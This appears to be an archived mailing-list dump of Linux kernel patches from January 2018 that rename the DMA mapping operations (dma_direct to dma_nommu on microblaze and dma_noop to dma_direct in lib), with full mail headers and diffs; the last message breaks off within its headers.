        linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
        linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
        linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Jan 12 09:41:57 2018
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eZuuE-0007w8-Nj
	for glkm-linux-metag@m.gmane.org; Fri, 12 Jan 2018 09:41:43 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S933721AbeALIno (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:44 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:40506 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933639AbeALIne (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Fri, 12 Jan 2018 03:43:34 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=r+fqxY8bxuU6DxfwU2ZFYMFoYgWuQA09Pc8q0OQxKNY=; b=NsM/VYrp9hdhNwV4Gntx6kCej
        zcv/XZV9OmSBSzFsNADydh2sta8EW6sDhAZ9QWY8Hr9j1PaROQEVzi+5tShTLhcFf6zh3ipklyLka
        kxlm6zCbWRtWHF89bGQKwpNQm/KqMFee/R+CDm/1HHTXZ9OQ5e4Lz3t4C/vQv9368W1orRxqh8GZC
        wQRk72Vbsla0RV30kmqsckZkUz/tJkJZl/T/4C3hN8Vq89GAfX4ibGmHPK1AJ8fwosB6hNTQNifPG
        LTXcUtg7xQWcjWtX0Zu7tVGCq1bhWqC8jnNQ66fTxMEufgCVsleFqbCj6KrBIzO3DRzBU+7V/smkE
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuvw-0007zW-PT; Fri, 12 Jan 2018 08:43:29 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1644 gmane.linux.kernel.iommu:22158 gmane.linux.ports.alpha:4741 gmane.linux.kernel.arc:3351 gmane.linux.ports.arm.kernel:625657 gmane.linux.ports.hexagon:1567 gmane.linux.ports.ia64:28602 gmane.linux.ports.mips.general:63299 gmane.linux.ports.parisc:28244 gmane.linux.ports.ppc64.devel:152026 gmane.linux.ports.sh.devel:56303 gmane.linux.ports.sparc:27252 gmane.linux.kernel.cross-arch:41460 gmane.linux.kernel:2665090
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1644>

This frees the dma_direct_* namespace for a generic implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/microblaze/include/asm/dma-mapping.h |  4 +--
 arch/microblaze/kernel/dma.c              | 48 +++++++++++++++----------------
 2 files changed, 26 insertions(+), 26 deletions(-)

diff --git a/arch/microblaze/include/asm/dma-mapping.h b/arch/microblaze/include/asm/dma-mapping.h
index 6b9ea39405b8..add50c1373bf 100644
--- a/arch/microblaze/include/asm/dma-mapping.h
+++ b/arch/microblaze/include/asm/dma-mapping.h
@@ -18,11 +18,11 @@
 /*
  * Available generic sets of operations
  */
-extern const struct dma_map_ops dma_direct_ops;
+extern const struct dma_map_ops dma_nommu_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return &dma_direct_ops;
+	return &dma_nommu_ops;
 }
 
 #endif	/* _ASM_MICROBLAZE_DMA_MAPPING_H */
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 990bf9ea0ec6..450803e5731a 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -17,7 +17,7 @@
 
 #define NOT_COHERENT_CACHE
 
-static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
+static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				       dma_addr_t *dma_handle, gfp_t flag,
 				       unsigned long attrs)
 {
@@ -42,7 +42,7 @@ static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
 #endif
 }
 
-static void dma_direct_free_coherent(struct device *dev, size_t size,
+static void dma_nommu_free_coherent(struct device *dev, size_t size,
 				     void *vaddr, dma_addr_t dma_handle,
 				     unsigned long attrs)
 {
@@ -69,7 +69,7 @@ static inline void __dma_sync(unsigned long paddr,
 	}
 }
 
-static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
+static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
 			     int nents, enum dma_data_direction direction,
 			     unsigned long attrs)
 {
@@ -89,12 +89,12 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-static int dma_direct_dma_supported(struct device *dev, u64 mask)
+static int dma_nommu_dma_supported(struct device *dev, u64 mask)
 {
 	return 1;
 }
 
-static inline dma_addr_t dma_direct_map_page(struct device *dev,
+static inline dma_addr_t dma_nommu_map_page(struct device *dev,
 					     struct page *page,
 					     unsigned long offset,
 					     size_t size,
@@ -106,7 +106,7 @@ static inline dma_addr_t dma_direct_map_page(struct device *dev,
 	return page_to_phys(page) + offset;
 }
 
-static inline void dma_direct_unmap_page(struct device *dev,
+static inline void dma_nommu_unmap_page(struct device *dev,
 					 dma_addr_t dma_address,
 					 size_t size,
 					 enum dma_data_direction direction,
@@ -122,7 +122,7 @@ static inline void dma_direct_unmap_page(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_single_for_cpu(struct device *dev,
+dma_nommu_sync_single_for_cpu(struct device *dev,
 			       dma_addr_t dma_handle, size_t size,
 			       enum dma_data_direction direction)
 {
@@ -136,7 +136,7 @@ dma_direct_sync_single_for_cpu(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_single_for_device(struct device *dev,
+dma_nommu_sync_single_for_device(struct device *dev,
 				  dma_addr_t dma_handle, size_t size,
 				  enum dma_data_direction direction)
 {
@@ -150,7 +150,7 @@ dma_direct_sync_single_for_device(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_sg_for_cpu(struct device *dev,
+dma_nommu_sync_sg_for_cpu(struct device *dev,
 			   struct scatterlist *sgl, int nents,
 			   enum dma_data_direction direction)
 {
@@ -164,7 +164,7 @@ dma_direct_sync_sg_for_cpu(struct device *dev,
 }
 
 static inline void
-dma_direct_sync_sg_for_device(struct device *dev,
+dma_nommu_sync_sg_for_device(struct device *dev,
 			      struct scatterlist *sgl, int nents,
 			      enum dma_data_direction direction)
 {
@@ -178,7 +178,7 @@ dma_direct_sync_sg_for_device(struct device *dev,
 }
 
 static
-int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
+int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 			     void *cpu_addr, dma_addr_t handle, size_t size,
 			     unsigned long attrs)
 {
@@ -204,20 +204,20 @@ int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 #endif
 }
 
-const struct dma_map_ops dma_direct_ops = {
-	.alloc		= dma_direct_alloc_coherent,
-	.free		= dma_direct_free_coherent,
-	.mmap		= dma_direct_mmap_coherent,
-	.map_sg		= dma_direct_map_sg,
-	.dma_supported	= dma_direct_dma_supported,
-	.map_page	= dma_direct_map_page,
-	.unmap_page	= dma_direct_unmap_page,
-	.sync_single_for_cpu		= dma_direct_sync_single_for_cpu,
-	.sync_single_for_device		= dma_direct_sync_single_for_device,
-	.sync_sg_for_cpu		= dma_direct_sync_sg_for_cpu,
-	.sync_sg_for_device		= dma_direct_sync_sg_for_device,
+const struct dma_map_ops dma_nommu_ops = {
+	.alloc			= dma_nommu_alloc_coherent,
+	.free			= dma_nommu_free_coherent,
+	.mmap			= dma_nommu_mmap_coherent,
+	.map_sg			= dma_nommu_map_sg,
+	.dma_supported		= dma_nommu_dma_supported,
+	.map_page		= dma_nommu_map_page,
+	.unmap_page		= dma_nommu_unmap_page,
+	.sync_single_for_cpu	= dma_nommu_sync_single_for_cpu,
+	.sync_single_for_device	= dma_nommu_sync_single_for_device,
+	.sync_sg_for_cpu	= dma_nommu_sync_sg_for_cpu,
+	.sync_sg_for_device	= dma_nommu_sync_sg_for_device,
 };
-EXPORT_SYMBOL(dma_direct_ops);
+EXPORT_SYMBOL(dma_nommu_ops);
 
 /* Number of entries preallocated for DMA-API debugging */
 #define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-- 
2.14.2


From - Thu Nov 08 21:40:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 24/34] dma-direct: rename dma_noop to dma_direct
Date: Fri, 12 Jan 2018 09:42:22 +0100
Lines: 267
Approved: news@gmane.org
Message-ID: <20180112084232.2857-25-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746525 11639 195.159.176.226 (12 Jan 2018 08:42:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:42:05 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jan 12 09:41:59 2018
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eZuuU-0007w8-8H
	for glka-linux-arch@m.gmane.org; Fri, 12 Jan 2018 09:41:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933973AbeALIoA (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Fri, 12 Jan 2018 03:44:00 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:44277 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933966AbeALIn5 (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Fri, 12 Jan 2018 03:43:57 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=jVSmeM6Xrb3SdzjcLqe3IrJllkhXEPvZDCeWMIbklCw=; b=RYh0l1k+pzaBtsGRCI8G1UI3z
        eJOwhygL9DcLn/AiaP/aU2X3SDWgc1Q/qWgMOdTn+hfEyjCy/5HnQP6Q9vS4y3NGQQavPCfVtADsO
        yzCvozL3dzy62oBZqI3egbAutiD0F2YlqHmWNFAw3nvGoCsLmy9bW1ljw2FHGLCz78+uCgI/oVE1Y
        oVi1VFH5Ch15/sjE9DMjfCl7j5Cto/2Xa1x96M5MoO0+tJswkhs0y3hkDv5gFmwgm1uROG7Jm6kGi
        tq01jlnj8vligmxDG2vt1+/bzxIb0k1NvslErZJ2BqAg8RD258c8dt87VFW+wZhGDy6OPrgZ/W4/A
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuwK-0008NG-02; Fri, 12 Jan 2018 08:43:52 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:41461 gmane.linux.kernel.iommu:22159 gmane.linux.ports.alpha:4742 gmane.linux.kernel.arc:3352 gmane.linux.ports.arm.kernel:625658 gmane.linux.ports.hexagon:1568 gmane.linux.ports.ia64:28603 gmane.linux.kernel.metag:1645 gmane.linux.ports.mips.general:63300 gmane.linux.ports.parisc:28245 gmane.linux.ports.ppc64.devel:152027 gmane.linux.ports.sh.devel:56304 gmane.linux.ports.sparc:27253 gmane.linux.kernel:2665091
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/41461>

The trivial direct mapping implementation already does a virtual to
physical translation which isn't strictly a noop, and will soon learn
to do non-direct but linear physical to dma translations through the
device offset and a few small tricks.  Rename it to a better fitting
name.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Vladimir Murzin <vladimir.murzin@arm.com>
---
 MAINTAINERS                        |  2 +-
 arch/arm/Kconfig                   |  2 +-
 arch/arm/include/asm/dma-mapping.h |  2 +-
 arch/arm/mm/dma-mapping-nommu.c    |  8 ++++----
 arch/m32r/Kconfig                  |  2 +-
 arch/riscv/Kconfig                 |  2 +-
 arch/s390/Kconfig                  |  2 +-
 include/asm-generic/dma-mapping.h  |  2 +-
 include/linux/dma-mapping.h        |  2 +-
 lib/Kconfig                        |  2 +-
 lib/Makefile                       |  2 +-
 lib/{dma-noop.c => dma-direct.c}   | 35 +++++++++++++++--------------------
 12 files changed, 29 insertions(+), 34 deletions(-)
 rename lib/{dma-noop.c => dma-direct.c} (52%)

diff --git a/MAINTAINERS b/MAINTAINERS
index 234e642e7149..2d54e636d625 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4334,7 +4334,7 @@ T:	git git://git.infradead.org/users/hch/dma-mapping.git
 W:	http://git.infradead.org/users/hch/dma-mapping.git
 S:	Supported
 F:	lib/dma-debug.c
-F:	lib/dma-noop.c
+F:	lib/dma-direct.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 00d889a37965..430a0aa710d6 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -25,7 +25,7 @@ config ARM
 	select CLONE_BACKWARDS
 	select CPU_PM if (SUSPEND || CPU_IDLE)
 	select DCACHE_WORD_ACCESS if HAVE_EFFICIENT_UNALIGNED_ACCESS
-	select DMA_NOOP_OPS if !MMU
+	select DMA_DIRECT_OPS if !MMU
 	select EDAC_SUPPORT
 	select EDAC_ATOMIC_SCRUB
 	select GENERIC_ALLOCATOR
diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index e5d9020c9ee1..8436f6ade57d 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -18,7 +18,7 @@ extern const struct dma_map_ops arm_coherent_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return IS_ENABLED(CONFIG_MMU) ? &arm_dma_ops : &dma_noop_ops;
+	return IS_ENABLED(CONFIG_MMU) ? &arm_dma_ops : &dma_direct_ops;
 }
 
 #ifdef __arch_page_to_dma
diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index 6db5fc26d154..4d8042521e89 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -22,7 +22,7 @@
 #include "dma.h"
 
 /*
- *  dma_noop_ops is used if
+ *  dma_direct_ops is used if
  *   - MMU/MPU is off
  *   - cpu is v7m w/o cache support
  *   - device is coherent
@@ -39,7 +39,7 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 				 unsigned long attrs)
 
 {
-	const struct dma_map_ops *ops = &dma_noop_ops;
+	const struct dma_map_ops *ops = &dma_direct_ops;
 	void *ret;
 
 	/*
@@ -70,7 +70,7 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
 			       void *cpu_addr, dma_addr_t dma_addr,
 			       unsigned long attrs)
 {
-	const struct dma_map_ops *ops = &dma_noop_ops;
+	const struct dma_map_ops *ops = &dma_direct_ops;
 
 	if (attrs & DMA_ATTR_NON_CONSISTENT) {
 		ops->free(dev, size, cpu_addr, dma_addr, attrs);
@@ -213,7 +213,7 @@ EXPORT_SYMBOL(arm_nommu_dma_ops);
 
 static const struct dma_map_ops *arm_nommu_get_dma_map_ops(bool coherent)
 {
-	return coherent ? &dma_noop_ops : &arm_nommu_dma_ops;
+	return coherent ? &dma_direct_ops : &arm_nommu_dma_ops;
 }
 
 void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
index 498398d915c1..dd84ee194579 100644
--- a/arch/m32r/Kconfig
+++ b/arch/m32r/Kconfig
@@ -19,7 +19,7 @@ config M32R
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
 	select CPU_NO_EFFICIENT_FFS
-	select DMA_NOOP_OPS
+	select DMA_DIRECT_OPS
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
 
 config SBUS
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index 2c6adf12713a..865e14f50c14 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -83,7 +83,7 @@ config PGTABLE_LEVELS
 config HAVE_KPROBES
 	def_bool n
 
-config DMA_NOOP_OPS
+config DMA_DIRECT_OPS
 	def_bool y
 
 menu "Platform type"
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 829c67986db7..9376637229c9 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -140,7 +140,7 @@ config S390
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DMA_API_DEBUG
 	select HAVE_DMA_CONTIGUOUS
-	select DMA_NOOP_OPS
+	select DMA_DIRECT_OPS
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_DYNAMIC_FTRACE_WITH_REGS
 	select HAVE_EFFICIENT_UNALIGNED_ACCESS
diff --git a/include/asm-generic/dma-mapping.h b/include/asm-generic/dma-mapping.h
index 164031531d85..880a292d792f 100644
--- a/include/asm-generic/dma-mapping.h
+++ b/include/asm-generic/dma-mapping.h
@@ -4,7 +4,7 @@
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return &dma_noop_ops;
+	return &dma_direct_ops;
 }
 
 #endif /* _ASM_GENERIC_DMA_MAPPING_H */
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index d67742dad904..b626028a3e47 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -136,7 +136,7 @@ struct dma_map_ops {
 	int is_phys;
 };
 
-extern const struct dma_map_ops dma_noop_ops;
+extern const struct dma_map_ops dma_direct_ops;
 extern const struct dma_map_ops dma_virt_ops;
 
 #define DMA_BIT_MASK(n)	(((n) == 64) ? ~0ULL : ((1ULL<<(n))-1))
diff --git a/lib/Kconfig b/lib/Kconfig
index c5e84fbcb30b..9d3d649c9dc9 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -409,7 +409,7 @@ config HAS_DMA
 	depends on !NO_DMA
 	default y
 
-config DMA_NOOP_OPS
+config DMA_DIRECT_OPS
 	bool
 	depends on HAS_DMA && (!64BIT || ARCH_DMA_ADDR_T_64BIT)
 	default n
diff --git a/lib/Makefile b/lib/Makefile
index d11c48ec8ffd..749851abe85a 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -28,7 +28,7 @@ lib-y := ctype.o string.o vsprintf.o cmdline.o \
 
 lib-$(CONFIG_MMU) += ioremap.o
 lib-$(CONFIG_SMP) += cpumask.o
-lib-$(CONFIG_DMA_NOOP_OPS) += dma-noop.o
+lib-$(CONFIG_DMA_DIRECT_OPS) += dma-direct.o
 lib-$(CONFIG_DMA_VIRT_OPS) += dma-virt.o
 
 lib-y	+= kobject.o klist.o
diff --git a/lib/dma-noop.c b/lib/dma-direct.c
similarity index 52%
rename from lib/dma-noop.c
rename to lib/dma-direct.c
index a10185b0c2d4..0ec3262a3148 100644
--- a/lib/dma-noop.c
+++ b/lib/dma-direct.c
@@ -10,9 +10,8 @@
 #include <linux/scatterlist.h>
 #include <linux/pfn.h>
 
-static void *dma_noop_alloc(struct device *dev, size_t size,
-			    dma_addr_t *dma_handle, gfp_t gfp,
-			    unsigned long attrs)
+static void *dma_direct_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -23,24 +22,21 @@ static void *dma_noop_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void dma_noop_free(struct device *dev, size_t size,
-			  void *cpu_addr, dma_addr_t dma_addr,
-			  unsigned long attrs)
+static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	free_pages((unsigned long)cpu_addr, get_order(size));
 }
 
-static dma_addr_t dma_noop_map_page(struct device *dev, struct page *page,
-				      unsigned long offset, size_t size,
-				      enum dma_data_direction dir,
-				      unsigned long attrs)
+static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		unsigned long attrs)
 {
 	return page_to_phys(page) + offset - PFN_PHYS(dev->dma_pfn_offset);
 }
 
-static int dma_noop_map_sg(struct device *dev, struct scatterlist *sgl, int nents,
-			     enum dma_data_direction dir,
-			     unsigned long attrs)
+static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
+		int nents, enum dma_data_direction dir, unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -58,11 +54,10 @@ static int dma_noop_map_sg(struct device *dev, struct scatterlist *sgl, int nent
 	return nents;
 }
 
-const struct dma_map_ops dma_noop_ops = {
-	.alloc			= dma_noop_alloc,
-	.free			= dma_noop_free,
-	.map_page		= dma_noop_map_page,
-	.map_sg			= dma_noop_map_sg,
+const struct dma_map_ops dma_direct_ops = {
+	.alloc			= dma_direct_alloc,
+	.free			= dma_direct_free,
+	.map_page		= dma_direct_map_page,
+	.map_sg			= dma_direct_map_sg,
 };
-
-EXPORT_SYMBOL(dma_noop_ops);
+EXPORT_SYMBOL(dma_direct_ops);
-- 
2.14.2



From - Thu Nov 08 21:40:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 15/34] powerpc: rename dma_direct_ to dma_nommu_
Date: Fri, 12 Jan 2018 09:42:13 +0100
Lines: 540
Approved: news@gmane.org
Message-ID: <20180112084232.2857-16-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746533 13084 195.159.176.226 (12 Jan 2018 08:42:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:42:13 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Jan 12 09:42:07 2018
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eZuuB-0007w8-Hw
	for glpi-linux-ia64-2@m.gmane.org; Fri, 12 Jan 2018 09:41:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933710AbeALInm (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:42 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:36353 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933604AbeALIne (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Fri, 12 Jan 2018 03:43:34 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=iJi26lwvoQZEtDmRy5u0mOwL6VbH+tTZgpNo+HcUkYc=; b=lEYGlb4sLOV9scfbDoct0dFI/
